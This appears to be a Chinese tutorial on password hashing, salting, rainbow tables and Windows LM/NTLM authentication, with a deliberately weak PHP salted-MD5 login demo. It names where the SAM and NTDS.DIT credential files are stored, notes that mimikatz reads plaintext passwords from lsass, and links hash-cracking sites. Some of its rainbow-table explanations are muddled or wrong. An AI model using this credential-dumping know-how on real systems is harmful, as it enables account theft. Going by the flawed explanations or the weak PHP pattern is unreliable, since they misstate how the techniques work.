SHA算法:以512位数据块为单位来处理输入,产生160位的哈希值,具有比MD5更强的安全性 SM3国产算法:消息分组长度为512比特,输出256位摘要 hash碰撞 哈希碰撞是指两个不同的输入经过哈希函数后产生相同的输出.哈希函数的设计目标是尽可能避免碰撞,但由于输入空间大于输出空间,必然存在某些输入将会产生相同的输出.然而,好的哈希算法应该使得找到碰撞变得非常困难. MD5和SHA-1确实已经受到攻击,且存在能够制造哈希碰撞的技术,使得它们不再被认为是安全的哈希算法.在实际应用中,特别是对于密码存储等敏感场景,推荐使用更安全的哈希算法,如SHA-256、SHA-3等. MD5碰撞的例子https://www.mscs.dal.ca/~selinger/md5collision/https://www.mscs.dal.ca/~selinger/md5collision/SHA-1碰撞的例子https://shattered.io/https://shattered.io/ 由于哈希碰撞的存在,确实不应该完全依赖于哈希算法来确保密码或数据的安全性.在密码存储中,推荐使用强大且抗碰撞能力较强的哈希算法,并结合适当的安全措施. 例如:使用盐(salt)来增加密码的复杂性。 哈希的用途哈希用于网络安全的两个主要目的: 验证数据的完整性 验证密码 使用hash进行密码验证​\t网络应用程序通常需要验证用户密码,明文存储密码会导致安全问题,如数据库泄露.数据泄露中常见的密码字典rockyou.txt源于明文存储的MySpace密码.密码明文存储使得攻击者能够轻松获得用户密码. 哈希函数是密码存储的安全选择,它是不可逆的,且不需要存储密钥.哈希碰撞是两个不同输入产生相同输出的情况,而彩虹表可用于快速查找哈希值对应的原始密码.为了防范相同密码的问题,可以使用盐增加哈希的复杂性. 像Crackstation(哈希破解网站) 这样的网站内部会使用巨大的彩虹表为无盐哈希(散列)提供快速的密码破解.在已排序的哈希列表中进行查找确实非常快,比尝试直接破解哈希要快得多. 防范彩虹表​\t为了应对彩虹表破解hash,我们可以在密码中添加一个 Salt(加盐操作). Salt是随机生成并存储在数据库中的值,对于每个用户都是独一无二的. ​\t理论上,你可以对所有用户使用相同的salt,但这意味着重复的密码仍然具有相同的hash,并且仍然可以使用该salt创建特定的密码. ​\tSalt被添加到密码的开头或结尾,然后进行哈希计算,这意味着即使每个用户都有相同的密码,他们也会有不同的密码哈希.像bcrypt和sha512crypt这样的哈希(散列)函数会自动进行加盐,盐不需要保密. 实际PHP代码中如何使用Salt123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106<?php// 数据库参数配置$host = 'localhost';$dbUser = 'root';$dbPassword = '123456';$dbName = 'mydatabase';// 使用mysqli对象方式创建数据库连接$conn = new mysqli($host, $dbUser, $dbPassword);// 检查数据库连接是否成功if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error . "</br>"); }// 检查数据库是否存在$db_selected = mysqli_select_db($conn, $dbName);if (!$db_selected) { // SQL语句,如果数据库不存在则创建数据库 $sql = "CREATE DATABASE IF NOT EXISTS $dbName"; if ($conn->query($sql) === TRUE) { echo "Database created successfully</br>"; } else { die("Error creating database: " . $conn->error . "</br>"); }}// 选择连接的数据库$conn->select_db($dbName);// 检查数据表是否存在$result = $conn->query("SHOW TABLES LIKE 'users'");if ($result->num_rows == 0) { // SQL语句,创建一个名为users的表,如果该表不存在的话 $sql = "CREATE TABLE IF NOT EXISTS users ( id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, username VARCHAR(30) NOT NULL, password VARCHAR(255) NOT NULL, registration_date TIMESTAMP )"; // 执行创建表的SQL语句并检查是否成功 if ($conn->query($sql) === TRUE) { echo "Table users created successfully</br>"; } else { die("Error creating table: " . $conn->error . "</br>"); }}// 获取GET请求中的参数$action = $_GET['action']; // 获取名为'action'的GET参数,该参数用来决定是执行注册还是登录操作$username = $_GET['username']; // 获取名为'username'的GET参数$password = $_GET['password']; // 获取名为'password'的GET参数// 注册用户的逻辑处理if ($action == 'register') { $registration_date = date('Y-m-d H:i:s'); // 获取当前时间作为注册时间 // 使用MD5加密算法对密码和注册时间进行拼接加密 $encryptedPassword = md5($password . $registration_date); // 准备SQL语句进行插入操作 $stmt = $conn->prepare("INSERT INTO users (username, password, registration_date) VALUES (?, ?, ?)"); // 绑定参数到预处理语句 $stmt->bind_param("sss", $username, $encryptedPassword, $registration_date); // 执行预处理语句并检查是否成功 if ($stmt->execute()) { echo "New record created successfully</br>"; // 用户注册成功的消息 } else { echo "Error: " . $stmt->error; // 如果注册失败,则显示错误消息 } // 关闭预处理语句 $stmt->close();}// 登录用户的逻辑处理if ($action == 'login') { // 准备SQL语句进行用户信息检索 $stmt = $conn->prepare("SELECT * FROM users WHERE username = ?"); // 绑定参数到预处理语句 $stmt->bind_param("s", $username); // 执行预处理语句 $stmt->execute(); // 获取结果集 $result = $stmt->get_result(); // 检查结果集中是否有记录(即是否有匹配的用户) if ($result->num_rows > 0) { // 提取结果集中的用户数据 $user = $result->fetch_assoc(); // 为了登录验证,将提交的密码和用户的注册时间再次进行MD5加密 $encryptedPassword = md5($password . $user['registration_date']); // 比较数据库中的密码和加密后提交的密码是否一致 if ($user['password'] === $encryptedPassword) { echo "User logged in successfully</br>"; // 用户登录成功的消息 } else { echo "Invalid username or password</br>"; // 如果密码不匹配,则显示无效的用户名或密码 } } else { echo "Invalid username or password</br>"; // 如果没有匹配的用户记录,则显示无效的用户名或密码 } // 关闭预处理语句 $stmt->close();}// 关闭数据库连接$conn->close();?>http://127.0.0.1/salt.php?action=register&username=kill3r&password=passwordhttp://127.0.0.1/salt.php?action=login&username=kill3r&password=passwordPasswordSaltMD5 Hashpassword(无salt)5f4dcc3b5aa765d61d8327deb882cf99password2024-02-02 20:25:528b79ff043c42bcb1e287d8353418979c不过为了提高代码的安全性,还可以考虑使用编程语言提供的密码存储和验证机制如PHP中的password_hash()和password_verify()函数.并且通过POST而非GET方法传输敏感数据https://www.php.net/manual/en/function.password-hash.phphttps://www.php.net/manual/en/function.password-hash.phphttps://www.php.net/manual/en/function.password-verify.phphttps://www.php.net/manual/en/function.password-verify.php https://www.cmd5.com/https://www.cmd5.com/ https://www.somd5.com/https://www.somd5.com/ https://www.sojson.com/encrypt_md5.htmlhttps://www.sojson.com/encrypt_md5.html https://crackstation.net/https://crackstation.net/ https://hashes.com/en/decrypt/hashhttps://hashes.com/en/decrypt/hash https://crackstation.net/https://crackstation.net/ 彩虹表-密码基础 MD5的全称是Message-Digest Algorithm 5(信息-摘要算法) 特点是不可逆的,一般解密不了.那有没有想过,为什么各种工具网站都可以进行MD5解密呢? 彩虹表,了解一下. 如何存储密码才是安全的?密码存储有几种方式: 直接存储密码明文m 存储密码明文的哈希值hash(m) 存储密码明文的加盐哈希hash(m+salt),这里的Salt可以是用户名,手机号等,但必须保证每个用户的Salt都不一样才是安全的. 如果数据库被入侵 第一种方式:明文存储,无安全性可言. 第二种方式:虽然是入侵者得到的是Hash值,但由于彩虹表的存在,也很容易批量还原出密码明文来. 只有第三种方式才是相对安全的. 彩虹表不是 密码–>明文 的简单存储要从c=hash(m)逆向得到原始明文m,有三种办法: 暴力破解法:时间成本太高. 字典法:提前构建一个明文->密文对应关系的一个大型数据库,破解时通过密文直接反查明文.但存储一个这样的数据库,空间成本是惊人的. 构建彩虹表:在字典法的基础上改进,以时间换空间.是现在破解哈希常用的办法. 彩虹表的前身–预先计算的散列链预先计算的散列链既然存储所有的明文密码对需要的空间太大,密码学家们想出了一种以计算时间降低存储空间的办法:预计算的哈希链集(Precomputed hash chains).这是一条k=2哈希链:K的取值不是严格规定的,而是根据具体需求和安全性考虑选择的.在密码学中,K表示哈希链的长度,即链中节点的数量.较长的哈希链可以提供更高的安全性,但会增加存储和验证的开销.选择适当的K值需要综合考虑以下因素:安全性要求:安全性要求较高的应用通常需要更长的哈希链来增加破解的难度.存储空间:更长的哈希链会占用更多的存储空间,因此需要考虑存储成本和可扩展性.验证速度:验证一个密码时,需要在哈希链上执行多次哈希运算.较长的哈希链会增加验证的时间开销.一般而言,选择K值是一个权衡取舍的过程,根据具体应用的需求和限制来确定.不同的场景可能需要不同的K值来平衡安全性和效率.实际应用中,可以采用除了单一的哈希函数之外的更复杂的哈希结构、加盐等技术来增加密码的安全性.K的取值范围可以根据具体需求和应用场景来确定,通常从2开始,而常见的范围可以是2到数十之间.较小的K值适用于需要较低计算和存储开销的场景,但相对较弱于攻击.较大的K值可以提供更高的安全性,但会增加计算和存储的负担.哈希链H函数就是要破解的哈希函数.约简函数(reduction function)R函数是构建这条链的时候定义的一个函数:它的值域和定义域与H函数相反.通过该函数可以将哈希值约简为一个与原文相同格式的值.约简函数(reduction function)又称归约函数.是彩虹表技术中的关键组成部分之一.它在散列链的构建和使用过程中发挥着重要作用.约简函数的主要目的是将散列值(密码的哈希结果)映射回原始明文密码的空间,从而在彩虹表中实现存储和破解密码的有效性和效率.这条链是这样生成的:随机选择初始明文 aaaaaa,通过哈希函数H(aaaaaa)进行哈希运算,得到哈希值281DAF40哈希函数H() 是一个确定性函数,将输入数据(在这种情况下是明文 aaaaaa)转换为具有固定长度的哈希值.哈希函数的特点是单向不可逆的,即无法从哈希值逆向计算出原始数据.因此,通过应用H()函数,我们可以将 aaaaaa 处理成哈希值 281DAF40.使用约简函数 R(),将哈希值 281DAF40 约简为与原文相同格式的值,得到明文 sgfnyd.约简函数 R() 是一个定义在哈希值空间上的函数,其作用是将哈希值映射回与原始明文相同格式的值.这样做是为了使哈希链中的后续哈希值能够继续通过哈希函数生成新的哈希值.在这个例子中,``R()函数将哈希值281DAF40约简为明文sgfnyd,并确保明文的格式与最初的输入 aaaaaa` 相匹配.将明文 sgfnyd 再次通过哈希函数 H() 进行哈希运算,得到哈希值 920ECF10.现在,我们使用哈希函数 H() 处理明文 sgfnyd,并得到哈希值 920ECF10.这个哈希值将用作哈希链中的下一个节点,它与先前的哈希值 281DAF40 相关联.使用约简函数 R(),将哈希值 920ECF10 约简为明文 kiebgt.再次使用约简函数 R(),我们将哈希值 920ECF10 约简为明文 kiebgt.这样可以确保链中的明文保持一致,并且与之前的处理结果相匹配.通过这些步骤的迭代,您可以构建一个哈希链,其中每个明文都通过哈希函数 H() 和约简函数 R() 相互关联.这种链的目的是验证数据的完整性和防篡改.请注意,哈希函数的选择和约简函数的定义需要根据具体的安全需求进行.此外,在构建哈希链过程中,确保选择适当的哈希算法、安全策略和密钥管理等因素也是非常重要的.预计算的哈希链集的使用当刚好得到的哈希值是 920ECF10,我们可以进行以下步骤来判断是否破解了哈希链集中的(aaaaaa,kiebgt)链条.破解成功的情况:首先,我们对哈希值 920ECF10 进行一次约简运算,得到明文 kiebgt.接下来,我们发现刚好命中了哈希链集中的(aaaaaa,kiebgt)链条.这意味着我们通过哈希链的计算过程,从初始明文 aaaaaa 开始重复计算,最终得到的哈希值恰好与目标哈希值 920ECF10 相匹配.要判断是否命中了哈希链集中的(aaaaaa,kiebgt)链条,需要按照以下步骤进行判断:首先,将明文 aaaaaa输入哈希函数 H() 进行哈希运算得到哈希值 281DAF40,然后再输入约简函数 R(),得到约简值 sgfnyd.将约简值 sgfnyd 输入哈希函数 H() 进行哈希运算,得到哈希值 920ECF10.比较得到的哈希值 920ECF10 是否与输入的哈希值相同.如果相同,则说明命中了哈希链集中的(aaaaaa,kiebgt)链条.这意味着输入的哈希值与链条中的下一个哈希值相匹配,并且通过约简函数 R() 可以得到与链条中的下一个明文相匹配的约简值.由于哈希函数的单向性质,我们无法直接从哈希值逆推出原始明文.但根据我们的破解过程,我们已经确定了明文 aaaaaa 经过哈希链计算后得到的哈希值是 920ECF10,因此,我们可以说在这个特定的哈希链中,明文 aaaaaa 对应的哈希值就是 920ECF10.所以,我们可以说在这种情况下,破解成功,并确定明文 aaaaaa 对应的哈希值以及整个哈希链.破解失败的情况:“密文不是 920ECF10 而是 281DAF40“:原来我们误以为目标哈希值是 920ECF10,但实际上它是 281DAF40.“第一次 R 运算后的结果并未在末节点中找到”:我们进行第一次约简运算(R 运算),但得到的结果没有在哈希链的末节点中找到对应的值.“则再重复一次 H 运算+R运算”:因此,我们再进行一次哈希运算(H 运算)和约简运算(R 运算).“这时又得到了末节点中的值 kiebgt“:这次在末节点中找到了值 kiebgt.“于是再从头开始运算”:由于找到了目标值 kiebgt,我们可以从初始明文 aaaaaa 开始重新进行哈希链计算.“可知 aaaaaa 刚好可哈希值为 281DAF40“:经过重新计算,我们确认明文 aaaaaa 对应的哈希值确实是 281DAF40.另外,如果在重复了 k(=2)次之后仍然没有在末节点中找到对应的值,那么破解被认为失败.预计算的哈希链集的意义在哈希链攻击中,我们通过预先生成一组包含多条哈希链的集合,每条链的长度为k.当需要破解一个特定的哈希值时,只需要从预计算的哈希链集中找到与目标哈希值匹配的哈希链.由于每次破解只需要进行k次哈希运算,计算次数不会超过k.因此,相比于暴力破解方法,哈希链攻击能够大大节约时间.另外,预计算的哈希链集中,每条链只保存了链的起始节点和结束节点,而不保存链中间的所有哈希值.这样相比于存储所有可能的明文哈希值,哈希链集所需的存储空间仅约为总哈希链数的倒数,即1/k.因此,哈希链攻击也大大节约了存储空间的使用.R函数的问题在预计算的哈希链集中,为了最大限度地发挥其作用,需要选择一个分布均匀的约简函数 R.当约简函数 R 不是分布均匀的时候,也就是当出现碰撞(两个不同的输入值得到相同的哈希值)时,就会出现下面这种情况12111 --H--> EDEDED --R--> 222 --H--> FEDEFE --R--> 333 --H--> FEFEDC --R--> 444454 --H--> FEDECE --R--> 333 --H--> FEFEDC --R--> 444 -H--> FEGEDC --R--> 555当两条哈希链发生重叠时,它们能够解密的明文数量远小于理论上的明文数量(即2×k).由于预计算的哈希链集只保存链条的首节点和末节点,而不保存中间的所有哈希值,因此无法快速发现这种重叠的链条.假设有两条重叠的哈希链A和B,它们共享相同的哈希值.在解密过程中,只要找到任意一条哈希链的首节点和末节点,就可以通过逆向约简运算得到明文.然而,当存在重叠的哈希链时,其中一条链的首节点和末节点可能与另一条链的首节点和末节点相同.这意味着,在预计算的哈希链集中,实际上只能得到一条有效的链,而另一条链则被”覆盖”了,无法被利用解密其对应的明文.因此,当发生重叠的链条时,能够解密的明文数量远小于理论上的明文数.由于预计算的哈希链集只保留了链条的首节点和末节点,无法直接检测到重复链条,因此这种重叠链条的存在需要特别注意. 彩虹表彩虹表的出现确实解决了哈希链攻击中的链重叠问题.在传统的哈希链攻击中,通过使用相同的R函数进行多次哈希迭代,不同链中的部分哈希值可能会发生重叠,导致无法正确匹配目标哈希值. 而彩虹表引入了多个不同的R函数(R1、R2、…、Rk)来进行每一步的哈希运算.这样,在生成每条哈希链时,使用不同的R函数可以避免链重叠问题.每个R函数都会产生不同的哈希映射,从而确保生成的哈希链之间没有重叠部分. ​\t彩虹表是一种用于破解密码的方法,上图中的k=3表示每条哈希链由三个步骤组成. ​\t为了降低R函数(映射函数)的冲突概率,彩虹表使用k个不同的R函数来执行每一步的操作. ​\t具体来说,在每次迭代中,我们使用不同的R函数将哈希值映射回密码取值空间.这种密码破解方法称为彩虹表攻击. 实际的彩虹表中,哈希链通常比上面的示例要长得多.例如,在我们的例子中,全部84亿亿个sha256哈希值无法存储在彩虹表中.因此,我们可以将其转化为840亿个长度为1千万的哈希链. 在互联网上,甚至有一些预先计算好的彩虹表可以直接使用.因此,直接保存用户密码的sha256哈希值是非常不安全的做法. 这样一来,及时发生碰撞,通常会是下面的情况: 1234# 链条一111 --H--> EDEDED --R1--> 222 --H--> FEDEFE --R2--> 333 --H--> FEFEDC --R3--> 444# 链条二454 --H--> FEDECE --R1--> 333 --H--> FEFEDC --R2--> 474 -H--> FERFDC --R3--> 909 链条1和链条2,这两个链条在某个位置上发生了碰撞,意味着它们的哈希值相同. 例如,在链条1的第二步操作后得到的哈希值与链条2的第一步操作后得到的哈希值相同. 然而,彩虹表在处理哈希碰撞时采用了一种特殊的策略.在彩虹表中,通过比较链条的末节点(即最后一个密码值),我们可以检测到碰撞,并且区分开这两个链条.换句话说,尽管它们在某个位置上产生了哈希碰撞,但由于它们最终的密码值不同,我们可以知道它们是不同的链条. 彩虹表的使用彩虹表的使用比哈希链集稍微麻烦一些. 首先,我们要假设待破解的密文位于某个哈希链的第k-1位置处.我们使用Rk函数对该密文进行逆向映射,得到一个中间值. 然后,我们在彩虹表的末节点中查找这个中间值是否存在.如果找到了相应的末节点,我们可以使用起始密码验证其正确性. 如果没有找到匹配的末节点,我们需要继续向前推进.我们假设密文位于第k-2位置处,然后进行Rk-1,H,Rk三步运算,得到新的中间值. 然后,我们再次在彩虹表的末节点中查找这个新的中间值.如果找到匹配的末节点,我们可以使用起始密码验证其正确性. 如果还是没有找到匹配的末节点,我们需要重复这个过程,每次向前推进一步,即进行Rk-1,H,Rk三步运算,直到达到最不利的情况,即需要执行完整的R1,H,…,Rk运算才能得出结论. 如果无法在当前位置找到匹配的末节点,我们需要尝试不同的推进路径,以确保最终能够覆盖所有可能性.这种迭代操作的目的是确定给定的密文是否存在于彩虹表中,并找到相应的起始密码. 彩虹表中时间、空间的平衡对于哈希链集而言,最大计算次数是k,即在最坏情况下,需要进行k次哈希运算才能找到匹配.平均计算次数为k/2,因为每个明文经过哈希运算后,会得到两个结果,即起始密码和末节点. 而对于彩虹表来说,最大计算次数是1+2+3+...+k,即k(k-1)/2.这是因为彩虹表的每一列都需要经过不同次数的迭代运算.平均计算次数为[(k+2) * (k+1)]/6,这是根据彩虹表的结构和长度的数学推导得出的. ​\t当k值较大时,彩虹表所需要的存储空间较小,因为它的每一列只需存储起始密码和末节点.而哈希链集在相同的密文数量下,需要存储更多的中间结果.因此,相对而言,彩虹表占用的空间较小. ​\t但是,彩虹表在破解时间上可能会更长,尤其在k较大的情况下.这是因为彩虹表的计算次数较多,需要进行多次迭代运算才能找到匹配.而哈希链集由于每个明文只需要进行一次哈希运算,所以在相同的密文数量下,破解时间可能会相对较短. 因此,在选择使用哈希链集还是彩虹表时,需要综合考虑空间占用和破解时间之间的权衡.如果空间资源有限,可以选择使用彩虹表;如果追求更短的破解时间,可以选择使用哈希链集. 常见的彩虹表和R函数举例 常见的彩虹表 http://project-rainbowcrack.com/table.htmhttp://project-rainbowcrack.com/table.htm R函数举例:假设明文为5位数字,则R函数是取哈希值中前5个数字. https://crypto.stackexchange.com/questions/5900/example-rainbow-table-generationhttps://crypto.stackexchange.com/questions/5900/example-rainbow-table-generation 彩虹表的获取可以自己编程生成彩虹表,也可以使用RainbowCrack或Cain等软件来生成.彩虹表的生成时间与字符集的大小、哈希链的长度成正比,如下图中7位密码、全部字符集、哈希链长度为2万的彩虹表大小为32G,本地生成大约需要332天,而从网上下载只需要2个小时左右,主流的彩虹表的大小普遍在100G以上,想要自己生成是几乎不可能的事. 彩虹表确实像它的名字一样美好,至少黑客眼里是这样. 上表是7位以内密码在不同字符集下构造出的彩虹表的情况,彩虹表中哈希链的长度和个数随着字符集的增长而增长,彩虹表的大小和生成时间也随之成倍增加. 7位数字组合在彩虹表面前简直就是秒破,即使最复杂的7位密码不到一个小时就能破解,如果采用普通的暴力攻击,破解时间可能需要三周. 如何防御彩虹表虽然彩虹表有着如此惊人的破解效率,但网站的安全人员仍然有办法防御彩虹表.最有效的方法就是加盐,加盐后的密码经过哈希加密得到的哈希串与加盐前的哈希串完全不同,黑客用彩虹表得到的密码根本就不是真正的密码. 即使黑客知道了盐的内容、加盐的位置,还需要对H函数和R函数进行修改,彩虹表也需要重新生成,因此加盐能大大增加利用彩虹表攻击的难度. 归约函数 约简函数(reduction function)又称归约函数. 归约函数是一种抽象的函数概念,它用于将散列值映射回明文密码.具体的归约函数可以有不同的实现方式,但其基本目标是通过运算将散列值还原为明文密码. 一种常见的归约函数是简单的模运算.例如,可以将散列值对密码空间的大小取模,以得到还原后的明文密码.这样的归约函数可以表示为: 1reduced_password = hash_value % password_space_size 其中,hash_value是散列值,password_space_size是密码空间的大小. 除了简单的模运算外,还可以使用其他更复杂的归约函数,例如异或运算、位移运算等.具体选择哪种归约函数取决于实际应用和安全需求. 需要注意的是,归约函数被设计为非可逆的,即从散列值到明文密码的还原过程是不可逆的.这是为了防止破解者能够轻易地通过逆向计算找到原始的明文密码. 因此,在彩虹表中,归约函数起到一个重要的作用,它影响着链的长度和破解的效率.通过选择合适的归约函数,可以在存储空间和破解速度之间做出权衡,以满足实际需求. 前置彩虹表之所以能够实现快速破解散列值,是因为它采用了预先计算大量散列值的方式.首先,将明文密码进行散列加密,生成初始的散列值.然后,通过应用归约函数对散列值进行处理,得到新的明文密码.接着,再次进行散列加密,重复该过程多次,直到生成足够数量的散列值. 通过计算足够数量的散列值并存储在彩虹表中,可以提高破解成功的概率.当需要破解某个散列值时,只需在彩虹表中查找是否存在对应的散列值,如果存在,则可以通过归约函数逆向推导出原始明文密码. 因此,理解归约函数的作用是彩虹表技术的核心.归约函数通过将散列值映射回明文密码,使得破解过程能够倒退回原始的密码空间.通过对散列值反复应用归约函数,可以生成一条包含明文密码和散列值的数据链.通过这种方式,彩虹表实现了在较小的存储空间内存储大量散列值和对应的明文密码,从而加快了破解的速度. 作用散列函数将原始明文密码映射为散列值,而归约函数则在彩虹表技术中将散列值映射回原始明文密码.然而,经过归约函数处理后的明文与生成该散列值的原始明文之间没有任何相似之处. 在彩虹表技术中,归约函数起到一个重要的作用,它通过一系列的操作将散列值还原为明文密码的近似值,使得破解者能够在彩虹表中查找对应的散列值.但需要明确的是,通过归约函数处理后的明文只是一个近似值,与生成该散列值的原始明文可能不完全相同. 这是因为归约函数是设计成非可逆的,即无法从散列值逆向计算出完全准确的原始明文密码.因此,经过归约函数处理后的明文密码仅仅是一个接近原始明文的候选值,而不是完全一致的结果. 彩虹表利用了归约函数的这个特性,通过存储和匹配大量的散列值和对应的归约函数处理后的明文密码,实现了快速的密码破解.破解者可以通过比对彩虹表中的散列值与归约函数处理后的明文密码,来寻找原始明文密码的近似值. 阐述归约过程对于彩虹表技术而言,生成一条数据链的过程包括多次迭代散列和归约操作,以构建包含明文和散列值的数据序列.这样的数据链可以用来快速破解散列值,并找到原始明文密码. rtgen工具是一个用于生成彩虹表的工具,它会执行上述的迭代过程.首先,从一个明文密码开始,通过散列函数将其转换为散列值,然后使用归约函数将散列值映射回明文密码.接下来,再次使用散列函数对归约后的明文密码进行散列,再次使用归约函数映射回明文密码.如此反复进行多次迭代操作,直到生成数据链的长度满足需求. 在生成数据链时,仅需记录数据链的第一个节点(起始明文密码和对应的散列值)和最后一个节点(最终归约后的明文密码和对应的散列值).因为在彩虹表攻击中,只需要从起始节点开始,依次进行散列和归约操作,就可以在数据链中匹配到与目标散列值相同的散列值,并获取对应的明文密码. 需要注意的是,由于归约函数是非可逆的,生成的数据链中的明文密码是经过归约函数处理后的近似值,并不与原始明文密码完全相同.因此,在使用彩虹表进行破解时,需要对近似值进行一定的容错处理,以确保找到正确的明文密码. 彩虹表破解散列值的基本思想基于以上观察,我们可以得出以下结论: 在彩虹表技术中,为了增加破解的效率和减小空间消耗,通常会采用多个不同的归约函数.不同位置的节点会对应不同的归约函数,这是为了增加数据链的多样性和覆盖范围. 具体而言,每个数据链上的节点都包含一个明文密码和对应的散列值.每个节点通过特定的归约函数进行映射.当从链的起始节点开始进行散列和归约操作时,每次迭代都会应用不同的归约函数. 通过使用多个归约函数,可以生成多条具有不同规律和特性的数据链.这样做的目的是增加破解时的搜索空间,避免过于依赖单一的归约函数.由于不同的归约函数可能导致不同的映射结果,这意味着即使同一明文密码经过不同位置的节点进行归约,最终得到的散列值也可能不相同. 因此,通过在不同位置使用不同的归约函数,彩虹表能够覆盖更广泛的明文密码和散列值组合,提高破解效率.这样的设计能够减少数据链之间的冲突,并且可以通过使用多条数据链来提供更好的覆盖范围,提高破解成功的概率. 总结在目前的彩虹表技术中,通常会将归约函数的数量设置为与数据链的长度相等.这意味着每个彩虹表都对应一个归约函数,并且不同的归约函数会导致相同明文生成不同的散列结果.这种设计使得彩虹表中的散列结果具有更多的随机性和多样性. 通过使用不同的归约函数,彩虹表能够更好地覆盖明文密码和散列值的组合空间,增加破解时的搜索范围.由于不同的归约函数会导致不同的映射关系,相同的明文密码经过不同位置的节点进行归约后得到的散列值也会有所不同.这意味着即使在同一数据链上,相同的明文密码也可能对应多个不同的散列值. 因此,采用不同的归约函数可以为彩虹表提供更大的随机性和覆盖范围,增加破解过程中成功匹配散列值的概率.通过引入更多的归约函数,彩虹表可以更好地抵抗针对特定归约函数的攻击,提高密码破解的难度和耗费更多的计算资源.总之,归约函数的多样性是彩虹表技术中重要的设计因素之一,为破解散列值提供了更大的挑战. Windows 认证-密码基础Windows Hash分类如下: LM Hash NTLM Hash Net-NTLM Hash Windows Hash简介 Windows系统内部不保存用户的明文密码,只保存密码的Hash值 本机用户的密码Hash是存放SAM%SystemRoot%\\system32\\config\\sam文件中 域内用户的密码Hash是存在域控的NTDS.DIT文件中 数据库文件夹:C:\\\\Windows\\NTDS 日志文件文件夹:C:\\\\Windows\\NTDS SYSVOL文件夹:C:\\\\Windows\\SYSVOL Windows系统导出密码的格式如下: 12用户名:RID:LM-Hash:NTLM-HashAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 当Windows用户密码≤14个字符,SAM文件中是LM Hash值+NTLM-Hash值 当Windows用户密码>14个字符,SAM文件中是NTLM-Hash值 NTLM HashNTLM Hash是支持Net NTLM认证协议及本地认证过程中的一个重要参与物,其长度为32位,由数字与字母组成. 当我们登录系统的时候,系统会将用户输入的密码计算成NTLM Hash,然后与sam数据库中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败 这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现 大致的运算流程为: 1用户密码->HEX编码->Unicode编码->MD4 用python计算密码’admin’的NTLM哈希: 12from passlib.hash import nthashprint(nthash.hash('admin')) 一定要保护好自己的SAM文件,现在的PE去密码也是这种方式 本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与SAM进行比对 我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的 LM Hash 用户口令全部转为大写老的windows的用户名密码不区分大小写 用户口令转为16进制之后不足14个字符(28位)长度,用0补足 把密码的16进制字符串分成两个7byte部分 每部分转换成比特流,并且长度为56bt,长度不足使用0在左边补齐长度 再分7bit为一组末尾加0,转换为16进制,组成新的编码 分别用key为KGS!@#$%(4B47532140232425)进行DES加密 最后将二组DES加密后的编码拼接,获得LM-HASH值 12345678910111213141516171819202122# 将所有小写字母转换为大写字母123ABC #未达到7个字符# 将密码转化为16进制,分两组,填充为14个字符,空余位使用0x00字符填补31323341424300000000000000# 将密码分割为两组7个字节的块31323341424300000000000000001 # 16进制# 将每组转化为比特流,不足56Bit则在左边加031323341424300->(转换为二进制)110001001100100011001101000001010000100100001100000000->(补足56Bit)00110001001100100011001101000001010000100100001100000000# 将比特流按照7比特一组,分出8组,末尾加0# 由于后者都为0,结果可想而知,都是0# 将每组比特流转换为16进制作为被加密的值,使用DES加密,字符串"KGS!@#$%"(0x4B47532140232425)为Key,得到8个结果,每个结果转换为16进制001100001001100010001100011010000001010000010010000011000000000030988C6814120000->DES(30988C6814120C00)->48-D7-EB-91-2F-5E-69-7C# 由于我们的密码不超过7字节,所以后面的一半是固定的:AA-D3-B4-35-B5-14-04-EE# 连接两个DES加密字符串.这是LM哈希.48-D7-EB-91-2F-5E-69-7C-AA-D3-B4-35-B5-14-04-EE 本地认证流程Windows Logon Process(即Winlogon.exe),是Windows NT用户登录程序,用于管理用户登录和退出 Lsass用于微软Windows系统的安全机制.它用于本地安全和登录策略 Net NTLM Hash(Windows 网络认证)在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构 假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过认证才能够访问B主机上的资源 最常见的服务:SMB服务端口:445 NTLM(NT LAN Manager) 协议早期SMB协议在网络上传输明文口令.后来出现LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至很容易就被破解微软提出了WindowsNT挑战/响应验证机制,称之为NTLM.现在已经有了更新的NTLMv2以及Kerberos验证体系. 挑战/响应–协商 ​ 客户端主要在这一步向服务器确认协议的版本,是v1还是v2 挑战/响应–质询 客户端向服务器端发送用户信息(用户名)请求 服务器接受到请求,生成一个16位的随机数,被称之为Challenge,使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符)生成Challenge1.同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端Net NTLM Hash=NTLM Hash(Challenge) 客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端. 服务器端收到客户端的Response后,比对Chanllenge1与Response是否相等,若相等,则认证通过. 挑战/响应–认证 挑战/响应–认证流程 注意: Chanllenge是Server产生的一个16字节的随机数,每次认证都不同 Response的表现形式是Net-NTLM Hash,他是由客户端提供的密码Hash加密Server返回的Chanllenge产生的结果 NTLM V2协议​\tNTLM v1与NTLM V2最显著的区别就是Challenge.与加密算法不同,共同点就是加密的原料都是NTLM Hash.不同点: Challage:NTLM V1的Challenge有8位,NTLM V2的Challenge为16位. Net-NTLM Hash:NTLM V1的主要加密算法是DES,NTLM V2的主要加密算法是HMAC-MD5 哈希类型识别Hash-identifier hash-identifier是一个用于识别哈希类型的工具.它可以根据输入的哈希值自动推断出哈希算法的类型. 1234567891011121314151617181920 hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\\ \\/\\ \\ /\\ \\ /\\__ _\\ /\\ _ `\\ # # \\ \\ \\_\\ \\ __ ____ \\ \\ \\___ \\/_/\\ \\/ \\ \\ \\/\\ \\ # # \\ \\ _ \\ /'__`\\ / 